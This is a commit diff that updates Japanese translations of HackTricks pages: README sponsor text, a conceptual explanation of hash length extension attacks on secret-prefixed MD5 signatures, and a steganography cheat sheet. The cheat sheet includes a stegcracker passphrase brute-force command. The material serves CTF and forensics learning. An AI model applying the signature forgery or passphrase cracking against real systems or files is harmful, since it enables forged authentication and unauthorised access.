mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
9fb9d94cbd
commit
a1925d13a1
86 changed files with 1725 additions and 3270 deletions
60
README.md
60
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_
|
||||
|
||||
{% hint style="success" %}
|
||||
**CTF、実際のアプリ、研究を読むこと、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。**
|
||||
**CTF、実際のアプリ、研究の読書、ニュースから学んだ各ハッキングトリック/テクニック/その他を見つけることができるウィキへようこそ。**
|
||||
{% endhint %}
|
||||
|
||||
始めるには、このページに従って、**1台以上のマシンをペンテストする際に従うべき典型的な流れ**を見つけてください:
|
||||
|
@ -32,7 +32,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術的知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。
|
||||
[**RootedCON**](https://www.rootedcon.com)は、**スペイン**で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進**を使命とし、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための熱い交流の場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,9 +42,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti**は、**ヨーロッパの#1**の倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
**Intigriti**は、**ヨーロッパの#1**エシカルハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
|
||||
**バグバウンティのヒント**:**Intigriti**に**サインアップ**してください。ハッカーのためにハッカーによって作られたプレミアム**バグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**の報酬を得始めましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、**ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォームです!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**の報酬を得始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -55,7 +55,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって駆動される**ワークフローを簡単に構築および自動化**します。
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。
|
||||
|
||||
今すぐアクセスを取得:
|
||||
|
||||
|
@ -69,9 +69,9 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
|
||||
|
||||
* **ハッキングの洞察**:ハッキングのスリルと課題に深く掘り下げたコンテンツに参加
|
||||
* **リアルタイムハックニュース**:リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握
|
||||
* **最新の発表**:新しいバグバウンティの開始や重要なプラットフォームの更新についての情報を得る
|
||||
* **ハッキングの洞察:** ハッキングのスリルと課題に深く掘り下げたコンテンツに参加
|
||||
* **リアルタイムハックニュース:** リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握
|
||||
* **最新の発表:** 新しいバグバウンティの開始や重要なプラットフォームの更新についての情報を得る
|
||||
|
||||
**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加し、今日からトップハッカーとコラボレーションを始めましょう!
|
||||
|
||||
|
@ -81,64 +81,30 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発しています。
|
||||
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApiは、**検索エンジンの結果にアクセスするための迅速で簡単なリアルタイムAPI**を提供します。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチ構造化データを解析します。
|
||||
|
||||
SerpApiのプランの1つに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。\
|
||||
他のプロバイダーとは異なり、**SerpApiはオーガニック結果だけをスクレイピングするわけではありません**。SerpApiの応答には、常にすべての広告、インライン画像と動画、ナレッジグラフ、検索結果に存在する他の要素や機能が含まれます。
|
||||
|
||||
現在のSerpApiの顧客には、**Apple、Shopify、GrubHub**が含まれます。\
|
||||
詳細については、彼らの[**ブログ**](https://serpapi.com/blog/)を確認するか、[**プレイグラウンド**](https://serpapi.com/playground)で例を試してください。\
|
||||
**無料アカウントを作成**するには、[**こちら**](https://serpapi.com/users/sign\_up)をクリックしてください。**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**手助けをし、**攻撃的セキュリティサービス**を提供しています。
|
||||
[**WebSec**](https://websec.nl)は、**アムステルダム**に拠点を置くプロフェッショナルなサイバーセキュリティ会社で、最新のサイバーセキュリティ脅威から**世界中のビジネスを保護する**のを助けています。**攻撃的セキュリティサービス**を**現代的**なアプローチで提供しています。
|
||||
|
||||
WebSecは**オールインワンのセキュリティ会社**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティ専門家のアウトソーシングなど、すべてを行います。
|
||||
|
||||
WebSecのもう一つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)を見てください!
|
||||
WebSecのもう一つの素晴らしい点は、業界の平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っている**ことであり、そのため、**最高の品質の結果を保証します**。彼らのウェブサイトには「**私たちがハッキングできなければ、あなたは支払わない!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をチェックしてください!
|
||||
|
||||
上記に加えて、WebSecは**HackTricksの熱心なサポーターでもあります。**
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害されているかどうかを確認するための**無料の機能を提供します。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## License & Disclaimer
|
||||
|
||||
チェックしてください:
|
||||
確認してください:
|
||||
|
||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||
|
@ -158,7 +124,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私たちをフォローしてください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,39 +15,26 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 攻撃の概要
|
||||
|
||||
サーバーが**データ**に**秘密**を追加してハッシュ化することを**署名**していると想像してください。もしあなたが以下を知っているなら:
|
||||
サーバーが**データ**に**秘密**を**追加**してからそのデータをハッシュ化して**署名**していると想像してください。もしあなたが知っていることがあれば:
|
||||
|
||||
* **秘密の長さ**(これは与えられた長さの範囲からもブルートフォース可能です)
|
||||
* **平文データ**
|
||||
* **アルゴリズム(この攻撃に対して脆弱である)**
|
||||
* **クリアテキストデータ**
|
||||
* **アルゴリズム(そしてそれがこの攻撃に対して脆弱であること)**
|
||||
* **パディングが知られている**
|
||||
* 通常はデフォルトのものが使用されるため、他の3つの要件が満たされていれば、これもそうです
|
||||
* 通常はデフォルトのものが使用されるので、他の3つの要件が満たされていれば、これもそうです
|
||||
* パディングは秘密+データの長さによって異なるため、秘密の長さが必要です
|
||||
|
||||
その場合、**攻撃者**は**データを追加**し、**以前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。
|
||||
その場合、**攻撃者**は**データを追加**し、**前のデータ + 追加データ**の有効な**署名**を**生成**することが可能です。
|
||||
|
||||
### どうやって?
|
||||
|
||||
基本的に、脆弱なアルゴリズムは、最初に**データのブロックをハッシュ化**し、その後、**以前に作成された**ハッシュ(状態)から**次のデータブロックを追加**して**ハッシュ化**します。
|
||||
基本的に、脆弱なアルゴリズムは最初に**データのブロックをハッシュ化**し、その後、**以前に作成された**ハッシュ(状態)から**次のデータブロックを追加**して**ハッシュ化**します。
|
||||
|
||||
例えば、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
|
||||
攻撃者が「append」という文字列を追加したい場合、彼は:
|
||||
次に、秘密が「secret」でデータが「data」の場合、「secretdata」のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
|
||||
攻撃者が「append」という文字列を追加したい場合、彼は次のことができます:
|
||||
|
||||
* 64の「A」のMD5を生成する
|
||||
* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する
|
||||
|
@ -60,19 +47,9 @@ WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウ
|
|||
|
||||
### 参考文献
|
||||
|
||||
この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)で詳しく説明されています。
|
||||
この攻撃については、[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)でよく説明されています。
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,63 +1,55 @@
|
|||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングの学習と練習:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングの学習と練習: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksのサポート</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **ファイルからデータを抽出する**
|
||||
## **ファイルからのデータ抽出**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
埋め込まれた隠しファイルやデータを検索するためのツール。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手できます。
|
||||
埋め込まれた隠しファイルやデータを探すためのバイナリファイル検索ツールです。`apt`を介してインストールされ、ソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手可能です。
|
||||
```bash
|
||||
binwalk file # Displays the embedded data
|
||||
binwalk -e file # Extracts the data
|
||||
binwalk --dd ".*" file # Extracts all data
|
||||
```
|
||||
### **最も重要な**
|
||||
### **Foremost**
|
||||
|
||||
ファイルをヘッダーとフッターに基づいて回復し、png画像に便利です。[GitHub](https://github.com/korczis/foremost)でソースを使用して`apt`を介してインストールします。
|
||||
ヘッダーとフッターに基づいてファイルを回復し、png画像に便利です。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/korczis/foremost)にあります。
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
ファイルのメタデータを表示するのに役立ちます。[こちら](https://www.sno.phy.queensu.ca/\~phil/exiftool/)で入手可能です。
|
||||
ファイルメタデータを表示するのに役立ちます。利用可能なリンクは[こちら](https://www.sno.phy.queensu.ca/\~phil/exiftool/)です。
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
Exiftoolに類似し、メタデータを表示します。`apt`を使用してインストール可能で、[GitHub](https://github.com/Exiv2/exiv2)でソースを入手でき、公式ウェブサイトは[こちら](http://www.exiv2.org/)です。
|
||||
exiftoolと同様に、メタデータの表示に使用されます。`apt`を介してインストール可能で、[GitHub](https://github.com/Exiv2/exiv2)にソースがあります。また、[公式ウェブサイト](http://www.exiv2.org/)もあります。
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **ファイル**
|
||||
|
||||
取り扱っているファイルの種類を特定します。
|
||||
扱っているファイルの種類を特定します。
|
||||
|
||||
### **文字列**
|
||||
|
||||
さまざまなエンコーディング設定を使用して、ファイルから読み取れる文字列を抽出します。
|
||||
さまざまなエンコーディング設定を使用して、ファイルから読み取り可能な文字列を抽出します。
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -69,84 +61,84 @@ strings -e b -n 6 file # 16bit strings (big-endian)
|
|||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **比較(cmp)**
|
||||
### **比較 (cmp)**
|
||||
|
||||
オンラインで見つかった元のバージョンと変更されたファイルを比較するのに便利です。
|
||||
オンラインで見つかった元のバージョンと修正されたファイルを比較するのに便利です。
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **テキスト内の隠しデータの抽出**
|
||||
## **隠されたデータの抽出**
|
||||
|
||||
### **スペース内の隠しデータ**
|
||||
### **スペース内の隠されたデータ**
|
||||
|
||||
見かけ上空白のスペースに不可視文字が情報を隠している可能性があります。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) を訪れてください。
|
||||
見た目には空のスペースに隠された情報があるかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。
|
||||
|
||||
## **画像からデータの抽出**
|
||||
## **画像からのデータ抽出**
|
||||
|
||||
### **GraphicMagickを使用して画像の詳細を特定する**
|
||||
### **GraphicMagickを使用した画像詳細の特定**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) は画像ファイルの種類を特定し、潜在的な破損を特定するために使用されます。以下のコマンドを実行して画像を検査します:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php)は、画像ファイルの種類を特定し、潜在的な破損を識別するために使用されます。画像を検査するには、以下のコマンドを実行してください:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
修復を試みるために、損傷した画像にメタデータコメントを追加すると役立つかもしれません:
|
||||
損傷した画像の修復を試みるために、メタデータコメントを追加することが役立つかもしれません:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **データの隠蔽にSteghideを使用**
|
||||
### **データ隠蔽のためのSteghide**
|
||||
|
||||
Steghideは、`JPEG、BMP、WAV、およびAU`ファイル内にデータを隠すことを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。
|
||||
Steghideは、`JPEG、BMP、WAV、AU`ファイル内にデータを隠すことを容易にし、暗号化されたデータの埋め込みと抽出が可能です。インストールは`apt`を使用して簡単に行え、[ソースコードはGitHubで入手可能です](https://github.com/StefanoDeVuono/steghide)。
|
||||
|
||||
**コマンド:**
|
||||
|
||||
* `steghide info file`はファイルに隠されたデータが含まれているかどうかを示します。
|
||||
* `steghide extract -sf file [--passphrase password]`は隠されたデータを抽出し、パスワードはオプションです。
|
||||
* `steghide info file`は、ファイルに隠されたデータが含まれているかどうかを明らかにします。
|
||||
* `steghide extract -sf file [--passphrase password]`は、隠されたデータを抽出します。パスワードはオプションです。
|
||||
|
||||
Webベースの抽出を行う場合は、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
|
||||
ウェブベースの抽出については、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
|
||||
|
||||
**Stegcrackerを使用したブルートフォース攻撃:**
|
||||
**Stegcrackerによるブルートフォース攻撃:**
|
||||
|
||||
* Steghideでパスワードクラッキングを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を以下のように使用します:
|
||||
* Steghideのパスワードクラッキングを試みるには、次のように[stegcracker](https://github.com/Paradoxis/StegCracker.git)を使用します:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **PNG および BMP ファイル用の zsteg**
|
||||
### **zsteg for PNG and BMP Files**
|
||||
|
||||
zsteg は、PNG および BMP ファイル内の隠されたデータを特定するのに特化しています。インストールは `gem install zsteg` を使用し、[GitHub でソースを入手](https://github.com/zed-0xff/zsteg)します。
|
||||
zstegはPNGおよびBMPファイル内の隠れたデータを発見することに特化しています。インストールは`gem install zsteg`で行い、[GitHubのソース](https://github.com/zed-0xff/zsteg)があります。
|
||||
|
||||
**コマンド:**
|
||||
**Commands:**
|
||||
|
||||
- `zsteg -a file` はファイルにすべての検出方法を適用します。
|
||||
- `zsteg -E file` はデータ抽出用のペイロードを指定します。
|
||||
* `zsteg -a file`はファイルに対してすべての検出方法を適用します。
|
||||
* `zsteg -E file`はデータ抽出のためのペイロードを指定します。
|
||||
|
||||
### **StegoVeritas および Stegsolve**
|
||||
### **StegoVeritas and Stegsolve**
|
||||
|
||||
**stegoVeritas** はメタデータをチェックし、画像変換を実行し、LSB ブルートフォースなどを適用します。すべてのオプションの完全なリストについては `stegoveritas.py -h` を使用し、すべてのチェックを実行するには `stegoveritas.py stego.jpg` を使用します。
|
||||
**stegoVeritas**はメタデータをチェックし、画像変換を行い、LSBブルートフォースなどの機能を適用します。オプションの完全なリストは`stegoveritas.py -h`を使用し、すべてのチェックを実行するには`stegoveritas.py stego.jpg`を使用します。
|
||||
|
||||
**Stegsolve** はさまざまなカラーフィルタを適用して画像内の隠されたテキストやメッセージを表示します。[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手できます。
|
||||
**Stegsolve**は画像内の隠れたテキストやメッセージを明らかにするためにさまざまなカラーフィルターを適用します。これは[GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)で入手可能です。
|
||||
|
||||
### **隠されたコンテンツの検出のための FFT**
|
||||
### **FFT for Hidden Content Detection**
|
||||
|
||||
高速フーリエ変換(FFT)技術を使用すると、画像内の隠されたコンテンツを明らかにすることができます。有用なリソースは次のとおりです:
|
||||
高速フーリエ変換(FFT)技術は画像内の隠されたコンテンツを明らかにすることができます。役立つリソースには以下が含まれます:
|
||||
|
||||
- [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
- [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
- [GitHub 上の FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **オーディオおよび画像ファイル用の Stegpy**
|
||||
### **Stegpy for Audio and Image Files**
|
||||
|
||||
Stegpy は、PNG、BMP、GIF、WebP、WAV などの形式をサポートし、画像およびオーディオファイルに情報を埋め込むことができます。[GitHub](https://github.com/dhsdshdhk/stegpy)で入手できます。
|
||||
Stegpyは画像および音声ファイルに情報を埋め込むことを可能にし、PNG、BMP、GIF、WebP、WAVなどのフォーマットをサポートしています。これは[GitHub](https://github.com/dhsdshdhk/stegpy)で入手可能です。
|
||||
|
||||
### **PNG ファイルの解析用 Pngcheck**
|
||||
### **Pngcheck for PNG File Analysis**
|
||||
|
||||
PNG ファイルを解析したり、その信頼性を検証するには:
|
||||
PNGファイルを分析したり、その真正性を検証するには、次のコマンドを使用します:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **画像解析のための追加ツール**
|
||||
### **画像分析のための追加ツール**
|
||||
|
||||
さらなる探求のために、以下を訪れてみてください:
|
||||
さらなる探索のために、以下を訪れることを検討してください:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
|
@ -154,27 +146,27 @@ pngcheck stego.png
|
|||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **オーディオからデータを抽出する**
|
||||
## **オーディオからのデータ抽出**
|
||||
|
||||
**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すためのユニークな方法を提供します。異なるツールが埋め込みや隠されたコンテンツの取り出しに使用されます。
|
||||
**オーディオステガノグラフィ**は、音声ファイル内に情報を隠すユニークな方法を提供します。隠されたコンテンツを埋め込むまたは取得するために、さまざまなツールが利用されます。
|
||||
|
||||
### **Steghide (JPEG、BMP、WAV、AU)**
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的なツールです。詳細な手順については、[stego tricks documentation](stego-tricks.md#steghide)を参照してください。
|
||||
Steghideは、JPEG、BMP、WAV、およびAUファイルにデータを隠すために設計された多目的ツールです。詳細な手順は[stego tricks documentation](stego-tricks.md#steghide)に記載されています。
|
||||
|
||||
### **Stegpy (PNG、BMP、GIF、WebP、WAV)**
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
このツールは、PNG、BMP、GIF、WebP、およびWAVなど、さまざまな形式と互換性があります。詳細については、[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。
|
||||
このツールは、PNG、BMP、GIF、WebP、およびWAVを含むさまざまなフォーマットに対応しています。詳細については[Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)を参照してください。
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpegは、オーディオファイルの整合性を評価し、詳細な情報を強調し、不一致を特定するために重要です。
|
